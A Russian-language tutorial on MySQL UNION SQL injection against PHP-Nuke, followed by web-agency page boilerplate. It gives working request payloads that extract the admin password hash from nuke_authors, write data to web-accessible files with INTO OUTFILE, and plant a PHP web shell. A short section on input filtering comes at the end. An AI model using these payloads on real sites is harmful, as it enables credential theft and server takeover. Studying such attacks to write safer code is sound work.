Использование команды UNION
Итак команда union используется для обьединения вывода двух или более запросов select.
Особенности команды которые придется учитывать:
Когда два (или более) запроса подвергаются объединению, их столбцы вывода должны быть совместимы для объединения. Это означает, что каждый запрос должен указывать одинаковое количество столбцов и в том же порядке и каждый должен иметь тип, совместимый с каждым.
Также данная возможность появилать только в mysql версии 4.0 т.е. на более ранних версиях БД работать не будет.
Вид команды таков:
select a1, a2, a3 from table1 union select b1, b2, b3 from table2;
Где a1 и b1, a2 и b2, a3 и b3 должны быть одинакового типа.
Например:
select text11, text12, int11 from t1 union select text21, text22, int22 from t2;
Думаю наиболее удобно будет рассмотреть работу с данной командой на конкретном примере. Помучить предлагаю php-nuke версии 7.0 final. Советую скачать и поставить данный движек. Итак устанавливаем и настраиваем нюку. Запускаем mysql с ведением логов и приступаем.
================================================
---/// sql injection на примере php-nuke
================================================
Итак разбираться будем с модулем news
http://127.0.0.1/nuke7/modules.php?name=news&new_topic=1
Вот такой запрос выводит первый топик на движке. Попробуем поставить кавычку к значению new_topic, соответственно теперь запрос становится таким:
http://127.0.0.1/nuke7/modules.php?name=ne...ew_topic=1'
Отдаем в браузере запрос и смотрим логи mysql:
...
10 query select topictext from nuke_topics where topicid='1''
^!!!
10 query select sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm,
score, ratings from nuke_stories where topic='1'' order by sid desc limit 10
^!!!
...
Вот тут наша ковычка себя и проявила =)
Видите: where topicid='1''
Рассмотрим первый запрос:
select topictext from nuke_topics where topicid='1''
Выборка topictext из таблицы nuke_topics где topicid=1'
Теперь посмотрим тип topictext:
+-------------------------+
| topictext | varchar(40) |
+-------------------------+
Отлично теперь попробуем использовать команду union:
Отдаем в браузере запрос:
modules.php?name=news&new_topic=999' union select pwd from nuke_authors/*
Отлично =) Вместо названия раздела мы видим хеш пароля админа. Что же произошло.
Опять смотрим логи mysql:
14 query select topictext from nuke_topics where topicid='999' union select pwd from nuke_authors/*'
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
вот он наш запрос
Вот оно. Мы делаем выборку из nuke_topics где topicid='999' и данный запрос естественно ничего не возвращает т.к. такого топика у нас нет и делаем выборку pwd из таблицы nuke_authors и данный запрос возвращает хеш пароля первого пользователя который и подставляется в название раздела. Заметьте что если мы укажем существующий номер топика то результата мы не получим т.к. будет подставлено название этого топика а не хеш. Поэтому мы и используем номер 999. Вот первая уязвимость =)
Давайте рассмотрим второй запрос: ( запрос разбит на несколько строк для удобства )
select sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
from nuke_stories
where topic='1'' <-- Вот тут мы можем вставить свой sql-код
order by sid desc limit 10
Посмотрим какие типы данных у нас в таблице nuke_stories:
+-----------+--------------+
| sid | int(11) |
+-----------+--------------+
| catid | int(11) |
+-----------+--------------+
| aid | varchar(30) |
+-----------+--------------+
| title | varchar(80) |
+-----------+--------------+
| time | datetime |
+-----------+--------------+
| hometext | text |
+-----------+--------------+
| bodytext | text |
+-----------+--------------+
| comments | int(11) |
+-----------+--------------+
| counter | mediumint(8) |
+-----------+--------------+
| topic | int(3) |
+-----------+--------------+
| informant | varchar(20) |
+-----------+--------------+
| notes | text |
+-----------+--------------+
| acomm | int(1) |
+-----------+--------------+
| score | int(10) |
+-----------+--------------+
| ratings | int(10) |
+-----------+--------------+
Теперь также просмотрим таблицу nuke_authors на типы записей и составим запрос с union таким образом чтобы типы из таблицы nuke_stories совпадали с типами из nuke_authors и запрос примет вид:
modules.php?name=news&new_topic=999' union select counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter from nuke_authors /*
Отдаем запрос в браузере и видим топик с содержанием хеша пароля =) Тут уже не обязательно указывать несуществующий топик т.к. все работает и с топиком существующим в базе.
Если посмотреть логи БД то можно увидеть что был отдан вот такой запрос к базе данных: (запрос разбит на 4 блока для большего удобства)
select sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
from nuke_stories
where topic='1'
union
select counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter
from nuke_authors
/*
' order by sid desc limit 10
Как вы можете видеть в обоих запросах количество и типы столбцев совпадают.
Запрос специально разбит на 4 блока:
1 блок - это первый запрос select выбирающий из таблицы nuke_stories
2 блок - команда обьединения запросов union
3 блок - второй запрос select который выбирает хеш пароля и счетчик из таблицы nuke_authors
4 блок - все что идет после "/*" будет рассматриваться как комментарий
================================================
---/// Вывод данных в файл
================================================
К слову сказать, в инете полно практически одинаковых статей про sql-injection и все они рассказывают про атаки данного типа при использовании ms sql в качестве сервера базы данных. Конечно сервак от мелкомягких дает поистинне потрясающие возможности для взлома всего сервера за счет возможностей разделения запросов в строке и прочих фишек но это тема другой статьи а у нас на повестке mysql в котором все не так просто, но это совсем не плохо, это хорошо т.к. с mysql возится сложнее а значит интереснее =) А к чему я это сказал? Да просто в тех статьях описывается взлом при авторизации и авторизация там происходит примерно таким запросом:
select * from users where login='blabla' and password='blabla';
Изврат! Не правда-ли? Абсолютно убогий способ работы с базой данных. Зачем спрашивается выбирать все данные из таблицы? Бррр что-то меня вообще не туда унесло = Мы лучше рассмотрим авторизацию в php-nuke 6.9. в котором процесс авторизации сделан более грамотно и красиво. Обратите внимание на версию нюки! Дело в том что в версии 7.0 не удастся через форму внедрить код с помощью кавычки т.к. там эта бага прикрыта. В версии 7.0 есть возможность внедрения кода в этом модуле посредством cookie но мы пока что не будем трогать cookie т.к. на эту тему статья будет чуть позднее а рассмотрим внедрение кода просто через форму авторизации. Для этого и пришлось использовать более раннюю версию. Как пример.
Запускаем http://127.0.0.1/phpnuke69/admin.php и видим окошко для ввода логина и пароля. Ну вы наверно уже догадались что мы будем делать? Конечно вписываем в качестве логина admin' (не забудьте про кавычку) и 123 в кач-ве пароля. Хммм... Не пускает =) Ну чтож всякое бывает =) Наверно потому что логин и пароль в базе другие совсем =)))
Чтож опять лезем смотреть логи mysql:
1 query select pwd, admlanguage from nuke_authors where aid='admin''
^ - вот она наша родная кавычка =)
Стоп! Вы уже побежали вставлять union и select? Рано. Дело в том что в данном модуле не происходит никакого вывода полученных данных из БД. Естественно раз нет вывода то и вывести полученный хеш нам некуда. Что же делать. К счастью в mysql есть замечательная опция сохранения выбранных из таблицы данных в файл. Производится данный финт ушами следующим образом:
select * from table into outfile 'путь_к_файлу/файл';
Попробуем сохранить хеш пароля админа в файле. Форма ввода не позволяет ввести длинный логин поэтому придется передавать данные через строку браузера:
http://127.0.0.1/phpnuke69/admin.php?op=lo...&aid=admin' into outfile 'pwd.txt
После запроса данной строки в БД исполняется:
9 query select pwd, admlanguage from nuke_authors where aid='admin' into outfile 'pwd.txt'
И хеш пароля пользователя "admin" оказывается записан в файл pwd.txt. Но вся проблемма в том что файл создается не в корне www-сервера а в каталоге базы данных. Для создания файла в каталоге доступном через web необходимо указывать полный путь:
/phpnuke/admin.php?op=login&pwd=123&aid=admin' into outfile '././././www/www1/phpnuke69/pwd.txt
И теперь уже:
http://127.0.0.1/phpnuke69/pwd.txt
Выдаст нам хеш админа.
Конечно необходимо учитывать права доступа и не факт что вы сможете записать файл в нужное место но это сейчас не важно. Главное что мы смогли сформировать нужный запрос и создать файл.
================================================
---/// Получение http-шелла
================================================
Конечно базы данных это хорошо, это интересно и познавательно, но хочется чего то большего =) Их есть у меня =)
Как мы уже разобрались файлы мы создавать можем. А ведь в файл можно записать любую инфу из базы данных, почему бы не воспользоваться этим и не создать себе маленький такой http-шелл посредством создания php файла с незатейливым и наверно всем знакомым содержанием:
Итак воспользовавшись одним из описанных выше методов вам удалось все-таки получить хеш пароля админа и вы благополучно залогинились как админ движка, расшифровав пароль, либо вставив его в кукис (тема про куки будет более подробно рассмотрена в следующей статье) Теперь вам необходимо каким-либо образом вставить php-код в одно из значений в базе данных а потом вывести его в файл. Вот способ которым воспользовался я:
Логинимся под админом. В меню администрирования входим в раздел topics. Создаем новый топик.
В поле topic name пишем passthru
в поле topic text пишем:
Теперь вспомним уязвимость описанную выше в этой статье, а именно:
modules.php?name=news&new_topic=999' union select pwd from nuke_authors/*
select topictext from nuke_topics where topicid='999' union select pwd from nuke_authors/*'
Теперь нам не надо получать хеш пароля, а надо сохранить запись из столбца "topictext"
http://127.0.0.1/phpnuke/modules.php?name=...ew_topic=2' into outfile 'shell.php' /*
где 2 - номер нового топика , shell.php - файл который будет создан
Не забудьте прописать путь к файлу.
После выполнения данного запроса будет создан файл shell.php содержащий нужный
нам пхп-код.
================================================
---/// Методы защиты
================================================
Если вы все-таки прочитали статью то наверно уже поняли что единственно верной защитой является фильтрация всех данных принимаемых от пользователя. Наилучшим решением будет разрешить использование лишь букв и цифр. В случае если принимаемое значение должно быть цифрой, проверяейте его перед помещением в sql запрос.
Не стоит надеятся на фильтрацию лишь одной кавычки т.к. во-первых атакующий может использовать другие символы для если не внедрения кода то хотя бы для получения дополнительной информации (например о пути к сайту) из сообщений о ошибках. И во-вторых если скрипт отфильтровывает какой-либо символ, то его можно заменить конструкцией +char(0xКОД_СИМВОЛА)+.
Также обращу внимание что фильтровать надо все данные пришедшие от пользователя в запросах, в куках, в общем вообще все!
================================================
---/// Заключение
================================================
Ну вот и все. Я постарался рассмотреть наиболее информативные примеры атак типа sql-injection. Надеюсь теперь вы сможете избежать ошибок при кодинге скриптов работающих с базами данных. Удачи.
p.s. Вся информация в данной статье служит исключительно в образовательных целях. Эта статья всего лишь попытка помочь авторам скриптов и указать на возможные ошибки при работе с базами данных.Так сказать, врага нужно знать в лицо!
Дайджест новых статей по интернет-маркетингу на ваш email
Новые статьи и публикации
- 2024-12-26 » Универсальный промпт для нейросети: как выжать максимум из ChatGPT, YandexGPT, Gemini, Claude в 2025
- 2024-11-26 » Капитан грузового судна, или Как начать использовать Docker в своих проектах
- 2024-11-26 » Обеспечение безопасности ваших веб-приложений с помощью PHP OOP и PDO
- 2024-11-22 » Ошибки в Яндекс Вебмастере: как найти и исправить
- 2024-11-22 » Ошибки в Яндекс Вебмастере: как найти и исправить
- 2024-11-15 » Перенос сайта на WordPress с одного домена на другой
- 2024-11-08 » OSPanel 6: быстрый старт
- 2024-11-08 » Как установить PhpMyAdmin в Open Server Panel
- 2024-09-30 » Как быстро запустить Laravel на Windows
- 2024-09-25 » Next.js
- 2024-09-05 » OpenAI рассказал, как запретить ChatGPT использовать содержимое сайта для обучения
- 2024-08-28 » Чек-лист: как увеличить конверсию интернет-магазина на примере спортпита
- 2024-08-01 » WebSocket
- 2024-07-26 » Интеграция с Яндекс Еда
- 2024-07-26 » Интеграция с Эквайринг
- 2024-07-26 » Интеграция с СДЕК
- 2024-07-26 » Интеграция с Битрикс-24
- 2024-07-26 » Интеграция с Travelline
- 2024-07-26 » Интеграция с Iiko
- 2024-07-26 » Интеграция с Delivery Club
- 2024-07-26 » Интеграция с CRM
- 2024-07-26 » Интеграция с 1C-Бухгалтерия
- 2024-07-24 » Что такое сторителлинг: техники и примеры
- 2024-07-17 » Ошибка 404: что это такое и как ее использовать для бизнеса
- 2024-07-03 » Размещайте прайс-листы на FarPost.ru и продавайте товары быстро и выгодно
- 2024-07-01 » Профилирование кода в PHP
- 2024-06-28 » Изучаем ABC/XYZ-анализ: что это такое и какие решения с помощью него принимают
- 2024-06-17 » Зачем вам знать потребности клиента
- 2024-06-11 » Что нового в работе Яндекс Метрики: полный обзор обновления
- 2024-06-11 » Поведенческие факторы ранжирования в Яндексе
"Тот, кто в совершенстве овладеет электронной почтой, будет миллионером в двадцать первом веке." |
Мы создаем сайты, которые работают! Профессионально обслуживаем и продвигаем их , а также по всей России и ближнему зарубежью с 2006 года!
Как мы работаем
Заявка
Позвоните или оставьте заявку на сайте.
Консультация
Обсуждаем что именно Вам нужно и помогаем определить как это лучше сделать!
Договор
Заключаем договор на оказание услуг, в котором прописаны условия и обязанности обеих сторон.
Выполнение работ
Непосредственно оказание требующихся услуг и работ по вашему заданию.
Поддержка
Сдача выполненых работ, последующие корректировки и поддержка при необходимости.